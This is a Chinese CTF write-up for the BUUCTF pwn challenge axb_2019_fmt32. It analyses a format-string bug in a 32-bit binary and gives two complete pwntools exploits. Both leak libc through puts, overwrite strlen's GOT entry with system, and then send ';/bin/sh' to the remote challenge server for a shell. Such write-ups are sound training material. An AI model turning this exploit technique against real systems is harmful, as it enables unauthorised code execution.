axb_2019_fmt32

checksec

matrix@ubuntu:~/PWN/BUU$ checksec axb_2019_fmt32
[*] '/home/matrix/PWN/BUU/axb_2019_fmt32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    只开启了NX、

 matrix@ubuntu:~/PWN/BUU$ ./axb_2019_fmt32 
Hello,I am a computer Repeater updated.
After a lot of machine learning,I know that the essence of man is a reread machine!
So I'll answer whatever you say!
Please tell me:%p
Repeater:0x804888d

Please tell me:Alarm clock
格式化字符串漏洞

IDA

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Fh] [ebp-239h]
  char format; // [esp+110h] [ebp-138h]
  unsigned int v5; // [esp+23Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  puts(
    "Hello,I am a computer Repeater updated.\n"
    "After a lot of machine learning,I know that the essence of man is a reread machine!");
  puts("So I'll answer whatever you say!");
  while ( 1 )
  {
    alarm(3u);
    memset(&s, 0, 0x101u);
    memset(&format, 0, 0x12Cu);
    printf("Please tell me:");
    read(0, &s, 0x100u);
    sprintf(&format, "Repeater:%s\n", &s);
    if ( strlen(&format) > 0x10E )
      break;
    printf(&format);  //利用点
  }
  printf("what you input is really long!");
  exit(0);
}

没有system,/bin/sh。 后门

思路

利用fmt泄露函数地址获取libc版本,system真实地址 ,再次利用写入strlen_got表中,然后输入/bin/sh即可

EXP

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'

elf = ELF('axb_2019_fmt32')
puts_got = elf.got['puts']
strlen_got = (elf.got['strlen'])

#sh = process('./axb_2019_fmt32')
sh = remote('node3.buuoj.cn',26280)
payload ='AAA'+p32(puts_got) + '%75$s'
sh.sendlineafter('Please tell me:',payload)
sh.recvuntil('AAA')
sh.recv(4)
puts_addr = u32(sh.recv(4))
print type(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
system_addr = (libc_addr + libc.dump('system')) #地址泄露

print hex(system_addr)
payload1 = 'B' #10 ge  fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
payload1 += fmtstr_payload(8,{strlen_got:system_addr},numbwritten=10)

print payload1

sh.sendlineafter('Please tell me:',payload1)

sh.sendlineafter('Please tell me:','||sh')  //strlen的参数里面还有Repeater:所以得用||sh  或者;/bin/sh

sh.interactive()

注意:

  • 这里使用了pwntools的fmtstr_payload模块
    • fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)这是完整形式,offset:偏移 writes:{addr1:adddr2} numbwritten:已经被输出的字符(这里已经输出了10个) write_size=’byte’:参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
  • 我们输入的数据在栈中并没有对齐,所以payload先放一个B来对齐

不用fmtstr_payload,构造payload:

EXP

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'

elf = ELF('axb_2019_fmt32')
puts_got = elf.got['puts']
strlen_got = (elf.got['strlen'])

#sh = process('./axb_2019_fmt32')
sh = remote('node3.buuoj.cn',26280)
payload ='AAA'+p32(puts_got) + '%75$s'
sh.sendlineafter('Please tell me:',payload)
sh.recvuntil('AAA')
sh.recv(4)
puts_addr = u32(sh.recv(4))
print type(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
system_addr = (libc_addr + libc.dump('system'))
system_high = system_addr >> 16
print hex(system_high)
system_low = system_addr & 0xffff
print hex(system_low)
differe = system_high - system_low
print hex(system_addr)
payload1 = 'B' #10 ge  fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
#payload += fmtstr_payload(8,{strlen_got:system_addr},numbwritten=10)

aim_strlen_low = strlen_got
aim_strlen_high = strlen_got + 2
payload1 += p32(aim_strlen_low) #off = 8
payload1 += p32(aim_strlen_high) #0ff = 9

payload1 += '%{}c%8$hn%{}c%9$hn'.format((system_low-18),differe)

print payload1

sh.sendlineafter('Please tell me:',payload1)

sh.sendlineafter('Please tell me:',';/bin/sh')

sh.interactive()

结果:

[DEBUG] Sent 0x9 bytes:
    ';/bin/sh\n'
[*] Switching to interactive mode
[DEBUG] Received 0x1c bytes:
    'sh: 1: Repeater:: not found\n'

  转载请注明: Squarer axb_2019_fmt32

  目录